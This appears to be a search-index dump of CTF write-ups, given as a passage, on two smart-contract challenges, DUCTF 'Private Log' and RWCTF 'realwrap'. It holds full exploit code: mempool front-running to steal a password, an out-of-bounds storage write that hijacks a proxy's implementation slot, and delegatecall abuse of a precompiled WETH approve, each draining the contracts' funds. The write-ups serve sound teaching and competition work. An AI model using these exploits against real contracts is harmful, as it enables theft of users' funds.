'nonce' : w3 . eth . get_transaction_count ( account . address ), 'gas' : gas , 'gasPrice' : gas_price if gas_price else w3 . eth . gas_price , })) . rawTransaction tx_hash = w3 . eth . send_raw_transaction ( tx ) . hex () return w3 . eth . wait_for_transaction_receipt ( tx_hash ) base_id = 'fd313a3613eb393b' w3 = Web3 ( Web3 . HTTPProvider ( f \"https://blockchain-privatelog- { base_id } -eth.2022.ductf.dev\" )) w3 . middleware_onion . inject ( geth_poa_middleware , layer = 0 ) info = json . loads ( requests . get ( f 'https://blockchain-privatelog- { base_id } .2022.ductf.dev/challenge' ) . content ) account = w3 . eth . account . from_key ( info [ 'player_wallet' ][ 'private_key' ]) log_addr = info [ 'contract_address' ][ 0 ][ 'address' ] proxy_addr = info [ 'contract_address' ][ 1 ][ 'address' ] log_abi = open ( 'abi.json' ) . read () contract_log = w3 . eth . contract ( address = proxy_addr , abi = log_abi ) tx_filter = w3 . eth . filter ( 'pending' ) newHash = w3 . solidityKeccak ([ 'string' ], [ 'password' ]) while True : if tx_hashes := tx_filter . get_new_entries (): tx = w3 . eth . get_transaction ( tx_hashes [ 0 ]) logEntry , password , _ = decode_abi ([ 'string' , 'string' , 'bytes32' ], bytes . fromhex ( tx . input [ 10 :])) transact ( \"contract_log.functions.createLogEntry('under the control', password, newHash)\" , gas_price = w3 . eth . gas_price + 100 ) break curr_nonce = w3 . eth . get_transaction_count ( account . address ) target_nonce = curr_nonce sender_bytes = to_bytes ( hexstr = account . address ) while True : addr_bytes = keccak ( rlp . encode ([ sender_bytes , target_nonce ]))[ 12 :] target_address = to_checksum_address ( addr_bytes ) if int ( target_address [ - 2 :], 16 ) == 0x3e : break target_nonce += 1 _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc logIndex = 2 ** 256 - int ( w3 . solidityKeccak ([ 'uint256' ], [ 2 ]) . hex (), 16 ) + _IMPLEMENTATION_SLOT logEntry = f \" { int ( target_address , 16 ) : 064x } \" [: - 2 ] tx = contract_log . functions . updateLogEntry ( logIndex , 'A' * 31 , 'password' , newHash ) . build_transaction ({ 'chainId' : w3 . eth . chain_id , 'nonce' : w3 . eth . get_transaction_count ( account . address ), 'gas' : 1000000 , 'gasPrice' : w3 . eth . gas_price , }) tx [ 'data' ] = tx [ 'data' ] . replace ( '41' * 31 , logEntry ) # \u53ef\u80fd\u5b58\u5728 UTF-8 \u65e0\u6cd5\u7f16\u7801\u7684\u5b57\u7b26\uff0c\u56e0\u6b64\u4e0d\u76f4\u63a5\u4f20\u5165 logEntry\uff0c\u800c\u662f\u91c7\u7528\u66ff\u6362\u7684\u65b9\u5f0f tx_hash = w3 . eth . send_raw_transaction ( account . sign_transaction ( tx ) . rawTransaction ) . hex () w3 . eth . wait_for_transaction_receipt ( tx_hash ) print ( w3 . eth . getStorageAt ( proxy_addr , _IMPLEMENTATION_SLOT ) . hex ()) curr_nonce = w3 . eth . get_transaction_count ( account . address ) while target_nonce > curr_nonce : transact ( \"contract_log.functions.createLogEntry('under the control', 'password', newHash)\" ) curr_nonce += 1 hack_source = \"\"\" // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Hack { function steal() public { payable(msg.sender).transfer(100 ether); } } \"\"\" _ , hack_interface = compile_source ( hack_source ) . popitem () hack_contract = w3 . eth . contract ( abi = hack_interface [ 'abi' ], bytecode = hack_interface [ 'bin' ]) print ( transact ( \"hack_contract.constructor()\" , gas = hack_contract . constructor () . estimateGas () * 2 ) . contractAddress ) contract_hack = w3 . eth . contract ( address = proxy_addr , abi = hack_interface [ 'abi' ]) transact ( \"contract_hack.functions.steal()\" ) print ( requests . get ( f 'https://blockchain-privatelog- { base_id } .2022.ductf.dev/challenge/solve' ) . content ) Flag \u00b6 DUCTF{first_i_steal_ur_tx_then_I_steal_ur_proxy_then_i_steal_ur_funds} ERC1967Upgrade - _IMPLEMENTATION_SLOT \u21a9","title":"Private Log"},{"location":"blockchain/private_log/#_1","text":"I thought I would try and save some gas by updating my log entries with assembly, I'm not super sure if it's safe, but I have added a password for good measure. But it's okay because if there is a bug I can always upgrade since I'm using the TransparentUpgradeableProxy pattern :). I love my creation so much that I add a new log every minute! Note the block time on this challenge is 23 seconds, so there will a delay in deploying and resetting the challenge. Goal: Steal all funds from the contract. PrivateLog.sol // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.0 ; /** * @title Private Log * @author Blue Alder (https://duc.tf) **/ import \"OpenZeppelin/openzeppelin-contracts@4.3.2/contracts/proxy/utils/Initializable.sol\" ; contract PrivateLog is Initializable { bytes32 public secretHash ; string [] public logEntries ; constructor () { secretHash = 0xDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEAD ; } function init ( bytes32 _secretHash ) payable public initializer { require ( secretHash != 0xDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEAD ); secretHash = _secretHash ; } modifier hasSecret ( string memory password , bytes32 newHash ) { require ( keccak256 ( abi . encodePacked ( password )) == secretHash , \"Incorrect Hash\" ); secretHash = newHash ; _ ; } function viewLog ( uint256 logIndex ) view public returns ( string memory ) { return logEntries [ logIndex ]; } function createLogEntry ( string memory logEntry , string memory password , bytes32 newHash ) public hasSecret ( password , newHash ) { require ( bytes ( logEntry ). length <= 31 , \"log too long\" ); assembly { mstore ( 0x00 , logEntries . slot ) let length := sload ( logEntries . slot ) let logLength := mload ( logEntry ) sstore ( add ( keccak256 ( 0x00 , 0x20 ), length ), or ( mload ( add ( logEntry , 0x20 )), mul ( logLength , 2 ))) sstore ( logEntries . slot , add ( length , 1 )) } } function updateLogEntry ( uint256 logIndex , string memory logEntry , string memory password , bytes32 newHash ) public hasSecret ( password , newHash ) { require ( bytes ( logEntry ). length <= 31 , \"log too long\" ); assembly { let length := mload ( logEntry ) mstore ( 0x00 , logEntries . slot ) sstore ( add ( keccak256 ( 0x00 , 0x20 ), logIndex ), or ( mload ( add ( logEntry , 0x20 )), mul ( length , 2 ))) } } }","title":"\u9898\u76ee"},{"location":"blockchain/private_log/#_2","text":"\u76ee\u6807\u662f\u8f6c\u79fb\u5408\u7ea6\u7684\u6240\u6709\u8d44\u91d1\uff0c\u4f46\u662f PrivateLog \u4e2d\u5e76\u6ca1\u6709\u76f8\u5173\u7684\u51fd\u6570 \u9898\u76ee\u63cf\u8ff0\u4e2d\u63d0\u5230\u4e86\u5408\u7ea6 TransparentUpgradeableProxy \uff0c\u975e\u7ba1\u7406\u5458\u8c03\u7528\u4ee3\u7406\u5408\u7ea6\u5c06 fallback \u5230\u903b\u8f91\u5408\u7ea6\uff0c\u4ee3\u7406\u5408\u7ea6\u4f7f\u7528\u903b\u8f91\u5408\u7ea6\u7684\u4ee3\u7801\uff0c\u800c\u5176\u4ed6\u5c5e\u6027\u5219\u5b58\u50a8\u5728\u4ee3\u7406\u5408\u7ea6\u5185\u3002\u53ef\u5347\u7ea7\u610f\u5473\u7740\u903b\u8f91\u5408\u7ea6\u662f\u53ef\u4ee5\u66f4\u6539\u7684 \u901a\u8fc7\u67e5\u770b\u4f59\u989d\u53ef\u4ee5\u786e\u8ba4\u5b9e\u9645\u4e0a\u9700\u8981\u8f6c\u79fb\u7684\u662f\u4ee3\u7406\u5408\u7ea6\u7684\u8d44\u91d1\uff0c\u90a3\u4e48\u663e\u7136\u9700\u8981\u66f4\u6539\u4ee3\u7406\u5408\u7ea6\u4e2d\u903b\u8f91\u5408\u7ea6\u7684\u5730\u5740\uff0c\u4ece\u800c\u80fd\u591f\u901a\u8fc7\u65b0\u7684\u903b\u8f91\u5408\u7ea6\u6765\u8f6c\u79fb\u8d44\u91d1 TransparentUpgradeableProxy \u4e2d\u903b\u8f91\u5408\u7ea6\u7684\u5730\u5740\u5b58\u50a8\u5728\u56fa\u5b9a\u7684\u4f4d\u7f6e _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc 1 from web3 import Web3 from web3.middleware import geth_poa_middleware import requests , json base_id = 'fd313a3613eb393b' w3 = Web3 ( Web3 . HTTPProvider ( f \"https://blockchain-privatelog- { base_id } -eth.2022.ductf.dev\" )) w3 . middleware_onion . inject ( geth_poa_middleware , layer = 0 ) info = json . loads ( requests . get ( f 'https://blockchain-privatelog- { base_id } .2022.ductf.dev/challenge' ) . content ) account = w3 . eth . account . from_key ( info [ 'player_wallet' ][ 'private_key' ]) log_addr = info [ 'contract_address' ][ 0 ][ 'address' ] proxy_addr = info [ 'contract_address' ][ 1 ][ 'address' ] print ( w3 . eth . get_balance ( log_addr )) print ( w3 . eth . get_balance ( proxy_addr )) # 0 # 100000000000000000000 updateLogEntry() \u4e0d\u68c0\u67e5 logIndex \uff0c\u800c sstore(addr, val) \u53ef\u4ee5\u5c06 val \u5199\u5165 addr \uff0c\u53ef\u4ee5\u501f\u6b64\u6765\u4fee\u6539\u903b\u8f91\u5408\u7ea6\u7684\u5730\u5740 keccak256(p, n) \u5373 keccak(mem[p\u2026(p+n))) \uff0c mem[0, 20) \u5bf9\u5e94 logEntries.slot \uff0c\u90a3\u4e48 keccak256(0x00, 0x20) \u5373 keccak(2) \uff08slot 0 Initializable \u7684\u53d8\u91cf\uff0cslot 1 secretHash \uff09 keccak256(2) \u5927\u4e8e _IMPLEMENTATION_SLOT \uff0c\u9700\u8981\u4fee\u6539\u7684 logIndex \u4e3a \\(2^{256}\\) - keccak256(2) + _IMPLEMENTATION_SLOT \u4e0d\u8fc7\uff0c logEntry \u4e3a string \u7c7b\u578b\uff0c\u5b58\u50a8\u65b9\u5f0f\u4e0e address \u4e0d\u540c \u82e5\u5b57\u7b26\u4e32\u957f\u5ea6\u4e0d\u8d85\u8fc7 31 \u5b57\u8282\uff0c\u5c06\u4ee5 higher-order \u5b58\u50a8\uff0c\u4e14\u6700\u4f4e\u5b57\u8282\u5b58\u50a8 length * 2 \uff0c\u5982\u5b57\u7b26\u4e32 hello \u5c06\u5b58\u50a8\u4e3a 0x68656c6c6f00000000000000000000000000000000000000000000000000000a \uff0c\u800c\u5730\u5740\u7c7b\u578b\u4ee5 lower-order \u5b58\u50a8 logEntry \u6700\u957f\u652f\u6301 31 \u5b57\u8282\uff0c\u90a3\u4e48\u6700\u4f4e\u5b57\u8282\u662f 0x3e \uff0c\u56e0\u6b64\u7528\u4e8e\u8f6c\u79fb\u8d44\u91d1\u7684\u903b\u8f91\u5408\u7ea6\u5730\u5740\u6700\u540e 1 \u5b57\u8282\u5e94\u4e3a 0x3e \u63a5\u4e0b\u6765\u8003\u8651\u5982\u4f55\u83b7\u5f97 updateLogEntry() \u7684\u63a7\u5236\u6743\u3002\u65e0\u8bba createLogEntry() \u6216 updateLogEntry() \u90fd\u9700\u8981\u77e5\u9053\u5f53\u524d\u7684\u5bc6\u7801\uff0c\u5e76\u4f20\u5165\u65b0\u5bc6\u7801\u7684\u54c8\u5e0c\u3002\u4f46 owner \u6bcf\u5206\u949f\u90fd\u4f1a\u8c03\u7528 createLogEntry() \uff0c\u800c\u6bcf 23s \u624d\u4ea7\u751f\u4e00\u4e2a\u65b0\u533a\u5757\uff0c\u53ef\u4ee5\u901a\u8fc7 pending \u7684\u4ea4\u6613\u83b7\u5f97\u5bc6\u7801\uff0c\u5e76\u4ee5\u66f4\u9ad8\u7684\u6c7d\u6cb9\u8d39\u53d6\u5f97\u4f18\u5148\u5199\u5165\u6743\uff0c\u4ece\u800c\u80fd\u591f\u4f7f\u7528 updateLogEntry()","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/private_log/#exploit","text":"from web3 import Web3 from web3.middleware import geth_poa_middleware from eth_abi import decode_abi from eth_utils import keccak , to_bytes , to_checksum_address from solcx import compile_source import requests , json , rlp def transact ( func , gas = 1000000 , gas_price = None ): tx = account . sign_transaction ( eval ( func ) . buildTransaction ({ 'chainId' : w3 . eth . chain_id , 'nonce' : w3 . eth . get_transaction_count ( account . address ), 'gas' : gas , 'gasPrice' : gas_price if gas_price else w3 . eth . gas_price , })) . rawTransaction tx_hash = w3 . eth . send_raw_transaction ( tx ) . hex () return w3 . eth . wait_for_transaction_receipt ( tx_hash ) base_id = 'fd313a3613eb393b' w3 = Web3 ( Web3 . HTTPProvider ( f \"https://blockchain-privatelog- { base_id } -eth.2022.ductf.dev\" )) w3 . middleware_onion . inject ( geth_poa_middleware , layer = 0 ) info = json . loads ( requests . get ( f 'https://blockchain-privatelog- { base_id } .2022.ductf.dev/challenge' ) . content ) account = w3 . eth . account . from_key ( info [ 'player_wallet' ][ 'private_key' ]) log_addr = info [ 'contract_address' ][ 0 ][ 'address' ] proxy_addr = info [ 'contract_address' ][ 1 ][ 'address' ] log_abi = open ( 'abi.json' ) . read () contract_log = w3 . eth . contract ( address = proxy_addr , abi = log_abi ) tx_filter = w3 . eth . filter ( 'pending' ) newHash = w3 . solidityKeccak ([ 'string' ], [ 'password' ]) while True : if tx_hashes := tx_filter . get_new_entries (): tx = w3 . eth . get_transaction ( tx_hashes [ 0 ]) logEntry , password , _ = decode_abi ([ 'string' , 'string' , 'bytes32' ], bytes . fromhex ( tx . input [ 10 :])) transact ( \"contract_log.functions.createLogEntry('under the control', password, newHash)\" , gas_price = w3 . eth . gas_price + 100 ) break curr_nonce = w3 . eth . get_transaction_count ( account . address ) target_nonce = curr_nonce sender_bytes = to_bytes ( hexstr = account . address ) while True : addr_bytes = keccak ( rlp . encode ([ sender_bytes , target_nonce ]))[ 12 :] target_address = to_checksum_address ( addr_bytes ) if int ( target_address [ - 2 :], 16 ) == 0x3e : break target_nonce += 1 _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc logIndex = 2 ** 256 - int ( w3 . solidityKeccak ([ 'uint256' ], [ 2 ]) . hex (), 16 ) + _IMPLEMENTATION_SLOT logEntry = f \" { int ( target_address , 16 ) : 064x } \" [: - 2 ] tx = contract_log . functions . updateLogEntry ( logIndex , 'A' * 31 , 'password' , newHash ) . build_transaction ({ 'chainId' : w3 . eth . chain_id , 'nonce' : w3 . eth . get_transaction_count ( account . address ), 'gas' : 1000000 , 'gasPrice' : w3 . eth . gas_price , }) tx [ 'data' ] = tx [ 'data' ] . replace ( '41' * 31 , logEntry ) # \u53ef\u80fd\u5b58\u5728 UTF-8 \u65e0\u6cd5\u7f16\u7801\u7684\u5b57\u7b26\uff0c\u56e0\u6b64\u4e0d\u76f4\u63a5\u4f20\u5165 logEntry\uff0c\u800c\u662f\u91c7\u7528\u66ff\u6362\u7684\u65b9\u5f0f tx_hash = w3 . eth . send_raw_transaction ( account . sign_transaction ( tx ) . rawTransaction ) . hex () w3 . eth . wait_for_transaction_receipt ( tx_hash ) print ( w3 . eth . getStorageAt ( proxy_addr , _IMPLEMENTATION_SLOT ) . hex ()) curr_nonce = w3 . eth . get_transaction_count ( account . address ) while target_nonce > curr_nonce : transact ( \"contract_log.functions.createLogEntry('under the control', 'password', newHash)\" ) curr_nonce += 1 hack_source = \"\"\" // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Hack { function steal() public { payable(msg.sender).transfer(100 ether); } } \"\"\" _ , hack_interface = compile_source ( hack_source ) . popitem () hack_contract = w3 . eth . contract ( abi = hack_interface [ 'abi' ], bytecode = hack_interface [ 'bin' ]) print ( transact ( \"hack_contract.constructor()\" , gas = hack_contract . constructor () . estimateGas () * 2 ) . contractAddress ) contract_hack = w3 . eth . contract ( address = proxy_addr , abi = hack_interface [ 'abi' ]) transact ( \"contract_hack.functions.steal()\" ) print ( requests . get ( f 'https://blockchain-privatelog- { base_id } .2022.ductf.dev/challenge/solve' ) . content )","title":"Exploit"},{"location":"blockchain/private_log/#flag","text":"DUCTF{first_i_steal_ur_tx_then_I_steal_ur_proxy_then_i_steal_ur_funds} ERC1967Upgrade - _IMPLEMENTATION_SLOT \u21a9","title":"Flag"},{"location":"blockchain/realwrap/","tags":["smart contract","precompiled contract","evm"],"text":"#smart contract #precompiled contract #evm .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 WETH on Ethereum is too cumbersome! I'll show you what is real Wrapped ETH by utilizing precompiled contract, it works like a charm especially when exchanging ETH in a swap pair. And most important, IT IS VERY SECURE! nc 47.254.91.104 20000 faucet: http://47.254.91.104:8080 RPC(geth v1.10.26 with realwrap patch): http://47.254.91.104:8545 realwrap.zip \u89e3\u9898\u601d\u8def \u00b6 \u76ee\u6807\u662f\u5c06 UniswapV2Pair \u7684 reserve0 \u548c reserve1 \u6e05\u96f6\uff0c\u5373\u6e05\u7a7a\u5408\u7ea6 UniswapV2Pair \u6301\u6709\u7684 WETH \u548c SimpleToken \u5408\u7ea6 UniswapV2Pair \u4e2d\u7684\u51fd\u6570 swap \u5728\u53c2\u6570 data \u4e0d\u4e3a\u7a7a\u65f6\uff0c\u5c06\u8c03\u7528\u5916\u90e8\u5408\u7ea6\u7684\u51fd\u6570 uniswapV2Call \uff0c\u901a\u8fc7\u53c2\u6570 to \u63a7\u5236\uff0c\u51fd\u6570\u6267\u884c\u5185\u5bb9\u53ef\u81ea\u5b9a\u4e49 \u7531\u4e8e mint \u4e2d\u6c38\u4e45\u9501\u5b9a\u4e86\u4e00\u90e8\u5206\u8d44\u91d1\uff0c\u56e0\u6b64\u5408\u7ea6 UniswapV2Pair \u7684\u4f59\u989d\u59cb\u7ec8\u5c0f\u4e8e totalSupply \uff0c\u65e0\u6cd5\u901a\u8fc7 burn \u6e05\u7a7a\u4f59\u989d WETH \uff08Wrapped Ether\uff0c\u4ee5\u592a\u5e01\u64cd\u4f5c\u5957\u7528 ERC20 \u6807\u51c6\uff09 \u4e0e SimpleToken \u4e0d\u540c\uff0c\u5408\u7ea6\u5730\u5740\u662f\u56fa\u5b9a\u7684\uff0c\u5728\u5408\u7ea6 Factory \u4e2d\u6ca1\u6709\u521d\u59cb\u5316\u7684\u8fc7\u7a0b\uff0c\u7528 web3.eth.getCode \u4e5f\u83b7\u53d6\u4e0d\u5230\u5408\u7ea6\u7684\u5b57\u8282\u7801 \u968f\u540e\u610f\u8bc6\u5230 WETH \u662f\u9884\u7f16\u8bd1\u5408\u7ea6\uff0c\u5e76\u6ce8\u610f\u5230\u4e86\u6587\u4ef6 geth_v1.10.26_precompiled.diff \u9884\u7f16\u8bd1\u5408\u7ea6\u7684\u8c03\u7528\u9700\u8981\u901a\u8fc7\u5185\u8054\u6c47\u7f16\uff0c\u4e0d\u8fc7\u672c\u9898\u5bf9\u9884\u7f16\u8bd1\u5408\u7ea6\u8fdb\u884c\u4e86\u5305\u88c5\uff08 contracts.go \uff09\uff0c\u56e0\u6b64 UniswapV2Pair \u4e2d\u8c03\u7528 WETH \u4e2d\u51fd\u6570\u7684\u65b9\u5f0f\u4e0e SimpleToken \u76f8\u540c \u63a5\u4e0b\u6765\u5206\u6790 contracts_weth.go \uff0c\u4e0e\u6807\u51c6\u7684 IERC20 \u4e0d\u540c\uff0c\u8fd8\u5b9e\u73b0\u4e86\u4e00\u4e2a transferAndCall \u51fd\u6570 functions = map [ string ] RunStatefulPrecompileFunc { calculateFunctionSelector ( \"name()\" ): metadata ( \"name\" ), calculateFunctionSelector ( \"symbol()\" ): metadata ( \"symbol\" ), calculateFunctionSelector ( \"decimals()\" ): metadata ( \"decimals\" ), calculateFunctionSelector ( \"balanceOf(address)\" ): balanceOf , calculateFunctionSelector ( \"transfer(address,uint256)\" ): transfer , calculateFunctionSelector ( \"transferAndCall(address,uint256,bytes)\" ): transferAndCall , calculateFunctionSelector ( \"allowance(address,address)\" ): allowance , calculateFunctionSelector ( \"approve(address,uint256)\" ): approve , calculateFunctionSelector ( \"transferFrom(address,address,uint256)\" ): transferFrom , } transferAndCall \u80fd\u591f\u5728\u8f6c\u8d26\u7684\u540c\u65f6\uff0c\u4ee5\u8bbe\u5b9a\u7684\u6570\u636e\uff08 inputArgs.Data \uff09\u8c03\u7528\u63a5\u6536\u8005\u5408\u7ea6 1 \u3002\u82e5\u80fd\u8ba9 UniswapV2Pair \u8c03\u7528 token \u7684 approve \u51fd\u6570\u5c31\u80fd\u591f\u6e05\u7a7a\u5408\u7ea6\u7684\u4f59\u989d func transferAndCall ( evm * EVM , caller common . Address , input [] byte , suppliedGas uint64 , readOnly bool ) ( ret [] byte , remainingGas uint64 , err error ) { if readOnly { return nil , suppliedGas , ErrWriteProtection } inputArgs := & TransferAndCallInput {} if err = unpackInputIntoInterface ( inputArgs , \"transferAndCall\" , input ); err != nil { return nil , suppliedGas , err } if ret , remainingGas , err = transferInternal ( evm , suppliedGas , caller , inputArgs . To , inputArgs . Amount ); err != nil { return ret , remainingGas , err } code := evm . StateDB . GetCode ( inputArgs . To ) if len ( code ) == 0 { return ret , remainingGas , nil } snapshot := evm . StateDB . Snapshot () evm . depth ++ defer func () { evm . depth -- }() if ret , remainingGas , err = evm . Call ( AccountRef ( caller ), inputArgs . To , inputArgs . Data , remainingGas , common . Big0 ); err != nil { evm . StateDB . RevertToSnapshot ( snapshot ) if err != ErrExecutionReverted { remainingGas = 0 } } return ret , remainingGas , err } \u82e5\u5728 uniswapV2Call \u4e2d\u76f4\u63a5\u4f7f\u7528 transferAndCall \uff0c\u8c03\u7528\u8005\u5c06\u4e3a\u653b\u51fb\u8005\u5408\u7ea6\uff0c\u56e0\u800c\u53ef\u4ee5\u901a\u8fc7\u4ee3\u7406\u8c03\u7528\u6765\u8f6c\u6362\u8c03\u7528\u8005 \u53e6\u5916\uff0c contracts_weth.go \u4e2d\u5b9e\u73b0\u7684 approve \u786c\u7f16\u7801\u4e86\u72b6\u6001\u4fee\u6539\u7684\u76ee\u6807\uff08 realWrappedEtherAddr \uff09 func approve ( evm * EVM , caller common . Address , input [] byte , suppliedGas uint64 , readOnly bool ) ( ret [] byte , remainingGas uint64 , err error ) { if evm . interpreter . readOnly { return nil , suppliedGas , ErrWriteProtection } inputArgs := & ApproveInput {} if err = unpackInputIntoInterface ( inputArgs , \"approve\" , input ); err != nil { return nil , suppliedGas , err } return approveInternal ( evm , suppliedGas , caller , inputArgs . Spender , inputArgs . Amount ) } func approveInternal ( evm * EVM , suppliedGas uint64 , owner , spender common . Address , value * big . Int ) ( ret [] byte , remainingGas uint64 , err error ) { if remainingGas , err = deductGas ( suppliedGas , params . Keccak256Gas * 2 ); err != nil { return nil , 0 , err } loc := calculateAllowancesStorageSlot ( owner , spender ) if remainingGas , err = deductGas ( suppliedGas , params . SstoreSetGas ); err != nil { return nil , 0 , err } evm . StateDB . SetState ( realWrappedEtherAddr , loc , common . BigToHash ( value )) return math . PaddedBigBytes ( common . Big1 , common . HashLength ), remainingGas , nil } Exploit \u00b6 Hack.sol pragma solidity ^ 0.8.17 ; import \"@openzeppelin/contracts/token/ERC20/IERC20.sol\" ; interface IUniswapV2Pair { function token0 () external view returns ( address ); function token1 () external view returns ( address ); function swap ( uint256 amount0Out , uint256 amount1Out , address to , bytes calldata data ) external ; function sync () external ; } contract Hack { address public WETH ; address public token ; IUniswapV2Pair public pair ; constructor ( address instance ) payable { require ( msg . value == 1 ); pair = IUniswapV2Pair ( instance ); WETH = pair . token0 (); token = pair . token1 (); } function exploit () public { pair . swap ( 0 , 1 , address ( this ), bytes ( \"1\" )); IERC20 ( WETH ). transferFrom ( address ( pair ), address ( this ), IERC20 ( WETH ). balanceOf ( address ( pair ))); IERC20 ( token ). transferFrom ( address ( pair ), address ( this ), IERC20 ( token ). balanceOf ( address ( pair ))); pair . sync (); } function uniswapV2Call ( address sender , uint256 amount0 , uint256 amount1 , bytes calldata data ) public { bytes memory approveCall = abi . encodeWithSignature ( \"approve(address,uint256)\" , address ( this ), type ( uint256 ). max ); address ( WETH ). delegatecall ( approveCall ); address ( WETH ). delegatecall ( abi . encodeWithSignature ( \"transferAndCall(address,uint256,bytes)\" , token , 0 , approveCall )); IERC20 ( WETH ). transfer ( address ( pair ), 1 ); } } exploit.js const { ethers } = require ( \"hardhat\" ); async function main () { const Factory = await ethers . getContractFactory ( \"Factory\" ); const factory = await Factory . attach ( process . env . FACTORY_ADDRESS ); console . log ( `isSolved: ${ await factory . isSolved () } ` ); const Hack = await ethers . getContractFactory ( \"Hack\" ); const hack = await Hack . deploy ( await factory . uniswapV2Pair (), { value : 1 }); await hack . deployed (); let tx = await hack . exploit (); await tx . wait (); console . log ( `isSolved: ${ await factory . isSolved () } ` ); } main (). catch (( error ) => { console . error ( error ); process . exitCode = 1 ; }) $ npm i $ npx hardhat compile $ export FACTORY_ADDRESS = \"\" # \u7f16\u8f91 hardhat.config.js\uff0c\u914d\u7f6e url \u548c\u8d26\u6237\u79c1\u94a5 $ npx hardhat run scripts/exploit.js --network chall Flag \u00b6 rwctf{pREcOmpilEd_m4st3r_5TolE_mY_M0ney} \u53c2\u8003\u8d44\u6599 \u00b6 Precompiled Contracts and Confidential Assets | by Qtum | Qtum 7. Deploying to a live network | Ethereum development environment for professionals by Nomic Foundation ethereum/go-ethereum \u21a9","title":"realwrap"},{"location":"blockchain/realwrap/#_1","text":"WETH on Ethereum is too cumbersome! I'll show you what is real Wrapped ETH by utilizing precompiled contract, it works like a charm especially when exchanging ETH in a swap pair. And most important, IT IS VERY SECURE! nc 47.254.91.104 20000 faucet: http://47.254.91.104:8080 RPC(geth v1.10.26 with realwrap patch): http://47.254.91.104:8545 realwrap.zip","title":"\u9898\u76ee"},{"location":"blockchain/realwrap/#_2","text":"\u76ee\u6807\u662f\u5c06 UniswapV2Pair \u7684 reserve0 \u548c reserve1 \u6e05\u96f6\uff0c\u5373\u6e05\u7a7a\u5408\u7ea6 UniswapV2Pair \u6301\u6709\u7684 WETH \u548c SimpleToken \u5408\u7ea6 UniswapV2Pair \u4e2d\u7684\u51fd\u6570 swap \u5728\u53c2\u6570 data \u4e0d\u4e3a\u7a7a\u65f6\uff0c\u5c06\u8c03\u7528\u5916\u90e8\u5408\u7ea6\u7684\u51fd\u6570 uniswapV2Call \uff0c\u901a\u8fc7\u53c2\u6570 to \u63a7\u5236\uff0c\u51fd\u6570\u6267\u884c\u5185\u5bb9\u53ef\u81ea\u5b9a\u4e49 \u7531\u4e8e mint \u4e2d\u6c38\u4e45\u9501\u5b9a\u4e86\u4e00\u90e8\u5206\u8d44\u91d1\uff0c\u56e0\u6b64\u5408\u7ea6 UniswapV2Pair \u7684\u4f59\u989d\u59cb\u7ec8\u5c0f\u4e8e totalSupply \uff0c\u65e0\u6cd5\u901a\u8fc7 burn \u6e05\u7a7a\u4f59\u989d WETH \uff08Wrapped Ether\uff0c\u4ee5\u592a\u5e01\u64cd\u4f5c\u5957\u7528 ERC20 \u6807\u51c6\uff09 \u4e0e SimpleToken \u4e0d\u540c\uff0c\u5408\u7ea6\u5730\u5740\u662f\u56fa\u5b9a\u7684\uff0c\u5728\u5408\u7ea6 Factory \u4e2d\u6ca1\u6709\u521d\u59cb\u5316\u7684\u8fc7\u7a0b\uff0c\u7528 web3.eth.getCode \u4e5f\u83b7\u53d6\u4e0d\u5230\u5408\u7ea6\u7684\u5b57\u8282\u7801 \u968f\u540e\u610f\u8bc6\u5230 WETH \u662f\u9884\u7f16\u8bd1\u5408\u7ea6\uff0c\u5e76\u6ce8\u610f\u5230\u4e86\u6587\u4ef6 geth_v1.10.26_precompiled.diff \u9884\u7f16\u8bd1\u5408\u7ea6\u7684\u8c03\u7528\u9700\u8981\u901a\u8fc7\u5185\u8054\u6c47\u7f16\uff0c\u4e0d\u8fc7\u672c\u9898\u5bf9\u9884\u7f16\u8bd1\u5408\u7ea6\u8fdb\u884c\u4e86\u5305\u88c5\uff08 contracts.go \uff09\uff0c\u56e0\u6b64 UniswapV2Pair \u4e2d\u8c03\u7528 WETH \u4e2d\u51fd\u6570\u7684\u65b9\u5f0f\u4e0e SimpleToken \u76f8\u540c \u63a5\u4e0b\u6765\u5206\u6790 contracts_weth.go \uff0c\u4e0e\u6807\u51c6\u7684 IERC20 \u4e0d\u540c\uff0c\u8fd8\u5b9e\u73b0\u4e86\u4e00\u4e2a transferAndCall \u51fd\u6570 functions = map [ string ] RunStatefulPrecompileFunc { calculateFunctionSelector ( \"name()\" ): metadata ( \"name\" ), calculateFunctionSelector ( \"symbol()\" ): metadata ( \"symbol\" ), calculateFunctionSelector ( \"decimals()\" ): metadata ( \"decimals\" ), calculateFunctionSelector ( \"balanceOf(address)\" ): balanceOf , calculateFunctionSelector ( \"transfer(address,uint256)\" ): transfer , calculateFunctionSelector ( \"transferAndCall(address,uint256,bytes)\" ): transferAndCall , calculateFunctionSelector ( \"allowance(address,address)\" ): allowance , calculateFunctionSelector ( \"approve(address,uint256)\" ): approve , calculateFunctionSelector ( \"transferFrom(address,address,uint256)\" ): transferFrom , } transferAndCall \u80fd\u591f\u5728\u8f6c\u8d26\u7684\u540c\u65f6\uff0c\u4ee5\u8bbe\u5b9a\u7684\u6570\u636e\uff08 inputArgs.Data \uff09\u8c03\u7528\u63a5\u6536\u8005\u5408\u7ea6 1 \u3002\u82e5\u80fd\u8ba9 UniswapV2Pair \u8c03\u7528 token \u7684 approve \u51fd\u6570\u5c31\u80fd\u591f\u6e05\u7a7a\u5408\u7ea6\u7684\u4f59\u989d func transferAndCall ( evm * EVM , caller common . Address , input [] byte , suppliedGas uint64 , readOnly bool ) ( ret [] byte , remainingGas uint64 , err error ) { if readOnly { return nil , suppliedGas , ErrWriteProtection } inputArgs := & TransferAndCallInput {} if err = unpackInputIntoInterface ( inputArgs , \"transferAndCall\" , input ); err != nil { return nil 